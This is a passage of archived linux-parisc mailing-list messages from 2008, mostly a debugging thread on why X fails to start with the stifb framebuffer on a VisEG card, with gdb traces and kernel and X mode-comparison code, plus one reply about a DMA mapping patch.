regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: X won't start with VisEG and 2.6.22.19
Date: Sat, 23 Aug 2008 10:49:47 -0400 (EDT)
Lines: 105
Approved: news@gmane.org
Message-ID: <20080823144948.B4F104E4A@hiauly1.hia.nrc.ca>
References: <48A49B70.9030706@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219503003 4426 80.91.229.12 (23 Aug 2008 14:50:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 23 Aug 2008 14:50:03 +0000 (UTC)
Cc: gmsoft@tuxicoman.be, kraxel@goldbach.in-berlin.de,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 23 16:50:54 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWuS3-0007ka-Hz
	for glpp-linux-parisc@gmane.org; Sat, 23 Aug 2008 16:50:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751293AbYHWOtv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Aug 2008 10:49:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751638AbYHWOtv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 23 Aug 2008 10:49:51 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4124 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751063AbYHWOtu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Aug 2008 10:49:50 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B4F104E4A; Sat, 23 Aug 2008 10:49:48 -0400 (EDT)
In-Reply-To: <48A49B70.9030706@gmx.de> from "Helge Deller" at Aug 14, 2008 10:54:08 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:652
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/652>

> The driver sets a video mode and then checks if the syscall modified the 
> parameters with the function fbdev_modes_equal():
> 
> --snip--
> /* static*/ Bool
> fbdev_modes_equal(struct fb_var_screeninfo *set, struct 
> fb_var_screeninfo *req)
> {
>          return (set->xres_virtual >= req->xres_virtual &&
>                  set->yres_virtual >= req->yres_virtual &&
>                  set->bits_per_pixel == req->bits_per_pixel &&
>                  set->red.length == req->red.length &&
>                  set->green.length == req->green.length &&
>                  set->blue.length == req->blue.length &&
>                  set->xres == req->xres && set->yres == req->yres &&
>                  set->pixclock == req->pixclock &&
>                  set->right_margin == req->right_margin &&
>                  set->hsync_len == req->hsync_len &&
>                  set->left_margin == req->left_margin &&
>                  set->lower_margin == req->lower_margin &&
>                  set->vsync_len == req->vsync_len &&
>                  set->upper_margin == req->upper_margin &&
>                  set->sync == req->sync && set->vmode == req->vmode);

The is the kernel's implementation:

int fb_mode_is_equal(const struct fb_videomode *mode1,
                     const struct fb_videomode *mode2)
{
     return (mode1->xres         == mode2->xres &&
     mode1->yres         == mode2->yres &&
     mode1->pixclock     == mode2->pixclock &&
     mode1->hsync_len    == mode2->hsync_len &&
     mode1->vsync_len    == mode2->vsync_len &&
     mode1->left_margin  == mode2->left_margin &&
     mode1->right_margin == mode2->right_margin &&
     mode1->upper_margin == mode2->upper_margin &&
     mode1->lower_margin == mode2->lower_margin &&
     mode1->sync         == mode2->sync &&
     mode1->vmode        == mode2->vmode);
}

> Tracing with gdb gives the following:
> 
> Breakpoint 1, fbdev_modes_equal (set=0xfb5ed568, req=0xfb5ed4c8)
>      at ../../../../hw/xfree86/fbdevhw/fbdevhw.c:256
> 256     }
> (gdb) p *set
> $1 = {xres = 1024, yres = 768, xres_virtual = 1024, yres_virtual = 768, 
> xoffset = 0, yoffset = 0,
>    bits_per_pixel = 8, grayscale = 0, red = {offset = 0, length = 8, 
> msb_right = 0}, green = {offset = 0,
>      length = 8, msb_right = 0}, blue = {offset = 0, length = 8, 
> msb_right = 0}, transp = {offset = 0,
>      length = 0, msb_right = 0}, nonstd = 0, activate = 0, height = 0, 
> width = 0, accel_flags = 0,
>    pixclock = 0, left_margin = 0, right_margin = 0, upper_margin = 0, 
> lower_margin = 0, hsync_len = 0,
>    vsync_len = 0, sync = 0, vmode = 0, reserved = {0, 0, 0, 0, 0, 0}}
> 
> (gdb) p *req
> $2 = {xres = 1024, yres = 768, xres_virtual = 1024, yres_virtual = 768, 
> xoffset = 0, yoffset = 0,
>    bits_per_pixel = 8, grayscale = 0, red = {offset = 0, length = 8, 
> msb_right = 0}, green = {offset = 0,
>      length = 8, msb_right = 0}, blue = {offset = 0, length = 8, 
> msb_right = 0}, transp = {offset = 0,
>      length = 0, msb_right = 0}, nonstd = 0, activate = 0, height = 0, 
> width = 0, accel_flags = 0,
>    pixclock = 22271, left_margin = 56, right_margin = 8, upper_margin = 
> 41, lower_margin = 0,
>    hsync_len = 176, vsync_len = 8, sync = 3, vmode = 1, reserved = {0, 
> 0, 0, 0, 0, 0}}
> 
> (gdb) bt
> #0  fbdev_modes_equal (set=0xfb5ed568, req=0xfb5ed4c8) at 
> ../../../../hw/xfree86/fbdevhw/fbdevhw.c:256
> #1  0x40bcfb64 in fbdevHWSetMode (pScrn=0x2142a0, mode=<value optimized 
> out>, check=1)
>      at ../../../../hw/xfree86/fbdevhw/fbdevhw.c:528
> #2  0x40bd07e8 in fbdevHWSetVideoModes (pScrn=0x2142a0) at 
> ../../../../hw/xfree86/fbdevhw/fbdevhw.c:568
> #3  0x40cf5bec in ?? () from /usr/lib/xorg/modules/drivers//fbdev_drv.so
> #4  0x00074e88 in InitOutput ()
> #5  0x00039d04 in main ()
> 
> As you can see, the main video parameters are OK, while the 
> monitor/modeline values (pixclock, left_margin, right_margin, 
> upper_margin, lower_margin, hsync_len, vsync_len, sync and vmode)
> were changed to zero.

> Any ideas?

Given that the kernel considers the above as part of the video mode,
I believe that this is a kernel bug.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: X won't start with VisEG and 2.6.22.19
Date: Sat, 23 Aug 2008 12:48:08 -0400 (EDT)
Lines: 78
Approved: news@gmane.org
Message-ID: <20080823164809.8F3CC4E4A@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219510102 24204 80.91.229.12 (23 Aug 2008 16:48:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 23 Aug 2008 16:48:22 +0000 (UTC)
Cc: deller@gmx.de, gmsoft@tuxicoman.be, kraxel@goldbach.in-berlin.de,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 23 18:49:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWwIa-0001Dn-SR
	for glpp-linux-parisc@gmane.org; Sat, 23 Aug 2008 18:49:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751055AbYHWQsM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Aug 2008 12:48:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751545AbYHWQsM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 23 Aug 2008 12:48:12 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4145 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751055AbYHWQsL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Aug 2008 12:48:11 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 8F3CC4E4A; Sat, 23 Aug 2008 12:48:09 -0400 (EDT)
In-Reply-To: <no.id> from "John David Anglin" at Aug 23, 2008 10:49:47 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:653
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/653>

> > Tracing with gdb gives the following:
> > 
> > Breakpoint 1, fbdev_modes_equal (set=0xfb5ed568, req=0xfb5ed4c8)
> >      at ../../../../hw/xfree86/fbdevhw/fbdevhw.c:256
> > 256     }
> > (gdb) p *set
> > $1 = {xres = 1024, yres = 768, xres_virtual = 1024, yres_virtual = 768, 
> > xoffset = 0, yoffset = 0,
> >    bits_per_pixel = 8, grayscale = 0, red = {offset = 0, length = 8, 
> > msb_right = 0}, green = {offset = 0,
> >      length = 8, msb_right = 0}, blue = {offset = 0, length = 8, 
> > msb_right = 0}, transp = {offset = 0,
> >      length = 0, msb_right = 0}, nonstd = 0, activate = 0, height = 0, 
> > width = 0, accel_flags = 0,
> >    pixclock = 0, left_margin = 0, right_margin = 0, upper_margin = 0, 
> > lower_margin = 0, hsync_len = 0,
> >    vsync_len = 0, sync = 0, vmode = 0, reserved = {0, 0, 0, 0, 0, 0}}
> > 
> > (gdb) p *req
> > $2 = {xres = 1024, yres = 768, xres_virtual = 1024, yres_virtual = 768, 
> > xoffset = 0, yoffset = 0,
> >    bits_per_pixel = 8, grayscale = 0, red = {offset = 0, length = 8, 
> > msb_right = 0}, green = {offset = 0,
> >      length = 8, msb_right = 0}, blue = {offset = 0, length = 8, 
> > msb_right = 0}, transp = {offset = 0,
> >      length = 0, msb_right = 0}, nonstd = 0, activate = 0, height = 0, 
> > width = 0, accel_flags = 0,
> >    pixclock = 22271, left_margin = 56, right_margin = 8, upper_margin = 
> > 41, lower_margin = 0,
> >    hsync_len = 176, vsync_len = 8, sync = 3, vmode = 1, reserved = {0, 
> > 0, 0, 0, 0, 0}}
> > 
> > (gdb) bt
> > #0  fbdev_modes_equal (set=0xfb5ed568, req=0xfb5ed4c8) at 
> > ../../../../hw/xfree86/fbdevhw/fbdevhw.c:256
> > #1  0x40bcfb64 in fbdevHWSetMode (pScrn=0x2142a0, mode=<value optimized 
> > out>, check=1)
> >      at ../../../../hw/xfree86/fbdevhw/fbdevhw.c:528
> > #2  0x40bd07e8 in fbdevHWSetVideoModes (pScrn=0x2142a0) at 
> > ../../../../hw/xfree86/fbdevhw/fbdevhw.c:568
> > #3  0x40cf5bec in ?? () from /usr/lib/xorg/modules/drivers//fbdev_drv.so
> > #4  0x00074e88 in InitOutput ()
> > #5  0x00039d04 in main ()
> > 
> > As you can see, the main video parameters are OK, while the 
> > monitor/modeline values (pixclock, left_margin, right_margin, 
> > upper_margin, lower_margin, hsync_len, vsync_len, sync and vmode)
> > were changed to zero.

It would appear that none of these values are relevant to the stifb.
The stifb.c code uses kzalloc to allocate the struct stifb_info, so
I think the above values should be zero.  Some code is clearly computing
values for pixclock, etc.  I don't see that this code is in the kernel.
It may be X that's making up these values.

I see in the log:

(II) FBDEV(0): hardware: stifb (video memory: 2048kB)
(II) FBDEV(0): checking modes against framebuffer device...
(II) FBDEV(0):  mode "1280x1024" test failed
(II) FBDEV(0): checking modes against monitor...
(--) FBDEV(0): Virtual size is 1280x1024 (pitch 1280)
(**) FBDEV(0):  Built-in mode "current": 28000.0 MHz, 21875.0 kHz, 21362.3 Hz
(II) FBDEV(0): Modeline "current"x0.0  28000.00  1280 1280 1280 1280  1024 1024 
1024 1024 -hsync -vsync -csync (21875.0 kHz)
(==) FBDEV(0): DPI set to (96, 96)

Could X be requesting a mode with invalid mode parameters?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Sat, 23 Aug 2008 19:39:58 +0000
Lines: 60
Approved: news@gmane.org
Message-ID: <48B0678E.9010208@scarlet.be>
References: <K6047O$07C3A675C0E02FC7BE973C0D5DEF9AAA@scarlet.be> <s5hy72pmefh.wl%tiwai@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219520429 20932 80.91.229.12 (23 Aug 2008 19:40:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 23 Aug 2008 19:40:29 +0000 (UTC)
Cc: "James.Bottomley" <James.Bottomley@HansenPartnership.com>,
	linux-mips <linux-mips@linux-mips.org>,
	ralf <ralf@linux-mips.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Takashi Iwai <tiwai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 23 21:41:22 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KWyzB-000254-LO
	for glpp-linux-parisc@gmane.org; Sat, 23 Aug 2008 21:41:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753236AbYHWTkK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Aug 2008 15:40:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753266AbYHWTkK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 23 Aug 2008 15:40:10 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:46329 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753236AbYHWTkI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Aug 2008 15:40:08 -0400
Original-Received: from [213.49.68.210] (ip-213-49-68-210.dsl.scarlet.be [213.49.68.210])
	(authenticated bits=0)
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m7NJdwlZ029814;
	Sat, 23 Aug 2008 21:39:59 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.16 (X11/20080724)
In-Reply-To: <s5hy72pmefh.wl%tiwai@suse.de>
X-DCC-scarlet.be-Metrics: sif 20001; Body=6 Fuz1=6 Fuz2=6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:654 gmane.linux.ports.mips.general:21373
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/654>

Hello Takashi,

Takashi Iwai wrote:
> At Fri, 22 Aug 2008 13:04:36 +0100,
> Joel Soete wrote:
>> Hello Takashi et al.,
> ...
>> I build and boot successfully kernel 32bit including your patch on 2 systems
>> (a b2k using sba and a d380 using ccio).
> 
> Thanks for testing!
> 
welcome ;-)

>> I just noticed that the above code is ~ the same; otoh there is also a
>> iommu-helpers.h containing also common code to those 2 drivers. So may be for
>> easiest maintenance, could you merge and move this code in this 'helper' as
>> follow:
>> --- ./drivers/parisc/iommu-helpers.h.Orig	2008-08-01 12:57:22.000000000 +0000
>> +++ ./drivers/parisc/iommu-helpers.h	2008-08-22 08:07:26.000000000 +0000
> 
> That sounds like a good idea.
> 
> One concern is to define a non-inline function in *.h.  But,

Yes (I thought too but didn't find any other good reason then avoiding useless duplicate code)

> iommu-helper.h is included only by these two drivers, so there is no
> problem as now, although a comment would be more helpful.
> 
Yes I hope it will be enough for this stuff to be accepted ;-)

> 
>>> diff --git a/include/asm-parisc/dma-mapping.h b/include/asm-parisc/dma-mapping.h
>>> index 53af696..5b357b3 100644
>>> --- a/include/asm-parisc/dma-mapping.h
>>> +++ b/include/asm-parisc/dma-mapping.h
>> The small issue encountered: against latest Kyle git tree (dated 2008-07-29)
>> this file was moved in arch/parisc/include/asm.
> 
> Yes.  My patches are still based on older version (2.6.27-rc2 or so).
> 
> git cares renaming well, so it shouldn't be a big problem.
> I just tested it now and git-pull (oh now it's "git pull" :) renames
> it automatically indeed.
> 
Cool (tbh I know very few about git just git clone to grab a tree and git pull to get update from time to time ;-))

> 
> thanks,
> 
> Takashi
> --
Tx to your attention,
	J.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: X won't start with VisEG and 2.6.22.19
Date: Sun, 24 Aug 2008 12:35:38 +0200
Lines: 113
Approved: news@gmane.org
Message-ID: <48B1397A.9020303@gmx.de>
References: <20080823164809.8F3CC4E4A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219574154 10125 80.91.229.12 (24 Aug 2008 10:35:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Aug 2008 10:35:54 +0000 (UTC)
Cc: gmsoft@tuxicoman.be, kraxel@goldbach.in-berlin.de,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 24 12:36:47 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXCxf-0003vw-Es
	for glpp-linux-parisc@gmane.org; Sun, 24 Aug 2008 12:36:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755660AbYHXKfm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Aug 2008 06:35:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755676AbYHXKfm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 24 Aug 2008 06:35:42 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:60881 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755660AbYHXKfl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Aug 2008 06:35:41 -0400
Original-Received: (qmail invoked by alias); 24 Aug 2008 10:35:39 -0000
Original-Received: from mnhm-590f77df.pool.einsundeins.de (EHLO halden.box) [89.15.119.223]
  by mail.gmx.net (mp032) with SMTP; 24 Aug 2008 12:35:39 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+X27sx1h+Xw8ohUxT34A7P7rN2VSNhK0eVGNW7M8
	TaBMGhFQC2FpIG
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080823164809.8F3CC4E4A@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.48
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:655
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/655>

John David Anglin wrote:
>>> Tracing with gdb gives the following:
>>>
>>> Breakpoint 1, fbdev_modes_equal (set=0xfb5ed568, req=0xfb5ed4c8)
>>>      at ../../../../hw/xfree86/fbdevhw/fbdevhw.c:256
>>> 256     }
>>> (gdb) p *set
>>> $1 = {xres = 1024, yres = 768, xres_virtual = 1024, yres_virtual = 768, 
>>> xoffset = 0, yoffset = 0,
>>>    bits_per_pixel = 8, grayscale = 0, red = {offset = 0, length = 8, 
>>> msb_right = 0}, green = {offset = 0,
>>>      length = 8, msb_right = 0}, blue = {offset = 0, length = 8, 
>>> msb_right = 0}, transp = {offset = 0,
>>>      length = 0, msb_right = 0}, nonstd = 0, activate = 0, height = 0, 
>>> width = 0, accel_flags = 0,
>>>    pixclock = 0, left_margin = 0, right_margin = 0, upper_margin = 0, 
>>> lower_margin = 0, hsync_len = 0,
>>>    vsync_len = 0, sync = 0, vmode = 0, reserved = {0, 0, 0, 0, 0, 0}}
>>>
>>> (gdb) p *req
>>> $2 = {xres = 1024, yres = 768, xres_virtual = 1024, yres_virtual = 768, 
>>> xoffset = 0, yoffset = 0,
>>>    bits_per_pixel = 8, grayscale = 0, red = {offset = 0, length = 8, 
>>> msb_right = 0}, green = {offset = 0,
>>>      length = 8, msb_right = 0}, blue = {offset = 0, length = 8, 
>>> msb_right = 0}, transp = {offset = 0,
>>>      length = 0, msb_right = 0}, nonstd = 0, activate = 0, height = 0, 
>>> width = 0, accel_flags = 0,
>>>    pixclock = 22271, left_margin = 56, right_margin = 8, upper_margin = 
>>> 41, lower_margin = 0,
>>>    hsync_len = 176, vsync_len = 8, sync = 3, vmode = 1, reserved = {0, 
>>> 0, 0, 0, 0, 0}}
>>>
>>> (gdb) bt
>>> #0  fbdev_modes_equal (set=0xfb5ed568, req=0xfb5ed4c8) at 
>>> ../../../../hw/xfree86/fbdevhw/fbdevhw.c:256
>>> #1  0x40bcfb64 in fbdevHWSetMode (pScrn=0x2142a0, mode=<value optimized 
>>> out>, check=1)
>>>      at ../../../../hw/xfree86/fbdevhw/fbdevhw.c:528
>>> #2  0x40bd07e8 in fbdevHWSetVideoModes (pScrn=0x2142a0) at 
>>> ../../../../hw/xfree86/fbdevhw/fbdevhw.c:568
>>> #3  0x40cf5bec in ?? () from /usr/lib/xorg/modules/drivers//fbdev_drv.so
>>> #4  0x00074e88 in InitOutput ()
>>> #5  0x00039d04 in main ()
>>>
>>> As you can see, the main video parameters are OK, while the 
>>> monitor/modeline values (pixclock, left_margin, right_margin, 
>>> upper_margin, lower_margin, hsync_len, vsync_len, sync and vmode)
>>> were changed to zero.
> 
> It would appear that none of these values are relevant to the stifb.
> The stifb.c code uses kzalloc to allocate the struct stifb_info, so
> I think the above values should be zero.  Some code is clearly computing
> values for pixclock, etc.  I don't see that this code is in the kernel.
> It may be X that's making up these values.
> 
> I see in the log:
> 
> (II) FBDEV(0): hardware: stifb (video memory: 2048kB)
> (II) FBDEV(0): checking modes against framebuffer device...
> (II) FBDEV(0):  mode "1280x1024" test failed
> (II) FBDEV(0): checking modes against monitor...
> (--) FBDEV(0): Virtual size is 1280x1024 (pitch 1280)
> (**) FBDEV(0):  Built-in mode "current": 28000.0 MHz, 21875.0 kHz, 21362.3 Hz
> (II) FBDEV(0): Modeline "current"x0.0  28000.00  1280 1280 1280 1280  1024 1024 
> 1024 1024 -hsync -vsync -csync (21875.0 kHz)
> (==) FBDEV(0): DPI set to (96, 96)
> 
> Could X be requesting a mode with invalid mode parameters?

In general X behaves correctly if you have a fb device, which is able to 
set sync timings.
But stifb and a few other fb drivers are not able to set sync timings, 
and for those X behaves IMHO wrong. For those X should assume that the 
timings set by the driver are correct as long as the resolution and bit 
depth are correct.

This is what happens:
1. In xorg.conf you configured a pixel resolution and bpp (e.g. 
1280x1024-16)
2. In xorg.conf you might have configured a monitor (with or without 
some timing/sync informations)
3. X reads those config parameters and try to set them through kernel calls.
4. Kernel returns that it now has set up the mode (1280x1024-16) and has 
set up the timings. Since stifb does not support timing modes, it 
returns zeros in those values (IMHO thats correct behavior if you look 
at the comments in skeletonfb.c)
5. X verifies the returned values and aborts since the timing values are 
different to what it fed to the kernel, although the resolution 
(1280x1024-16) is correctly set and returned like that.

I think X is right in noticing that the timing/sync values are not what 
it expected. Nevertheless, I would prefer that it would just warn (in 
the fbdev drivers only!) that the timings are incorrect instead of 
aborting completely. X is right to abort, if the pixel resolution and 
bpp can not be set.
So, X's tests should be like that:
a) resolution and bpp different -> abort
b) resolution and bpp correct, but sync timings/monitor timings 
different -> warn but continue

Right now X's tests are:
resolution, bpp or sync/monitor timings different -> abort.

Of course it's easily possible to change stifb in that it just takes any 
timing values, but that is not how it is documented in skeletonfb.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: X won't start with VisEG and 2.6.22.19
Date: Sun, 24 Aug 2008 10:09:29 -0400 (EDT)
Lines: 92
Approved: news@gmane.org
Message-ID: <20080824140930.309DD431A@hiauly1.hia.nrc.ca>
References: <48B1397A.9020303@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219586985 11982 80.91.229.12 (24 Aug 2008 14:09:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Aug 2008 14:09:45 +0000 (UTC)
Cc: gmsoft@tuxicoman.be, kraxel@goldbach.in-berlin.de,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 24 16:10:38 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXGIa-0004m3-Rt
	for glpp-linux-parisc@gmane.org; Sun, 24 Aug 2008 16:10:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751292AbYHXOJc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Aug 2008 10:09:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751380AbYHXOJc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 24 Aug 2008 10:09:32 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4248 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751292AbYHXOJb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Aug 2008 10:09:31 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 309DD431A; Sun, 24 Aug 2008 10:09:29 -0400 (EDT)
In-Reply-To: <48B1397A.9020303@gmx.de> from "Helge Deller" at Aug 24, 2008 12:35:38 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:656
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/656>

> >>> As you can see, the main video parameters are OK, while the 
> >>> monitor/modeline values (pixclock, left_margin, right_margin, 
> >>> upper_margin, lower_margin, hsync_len, vsync_len, sync and vmode)
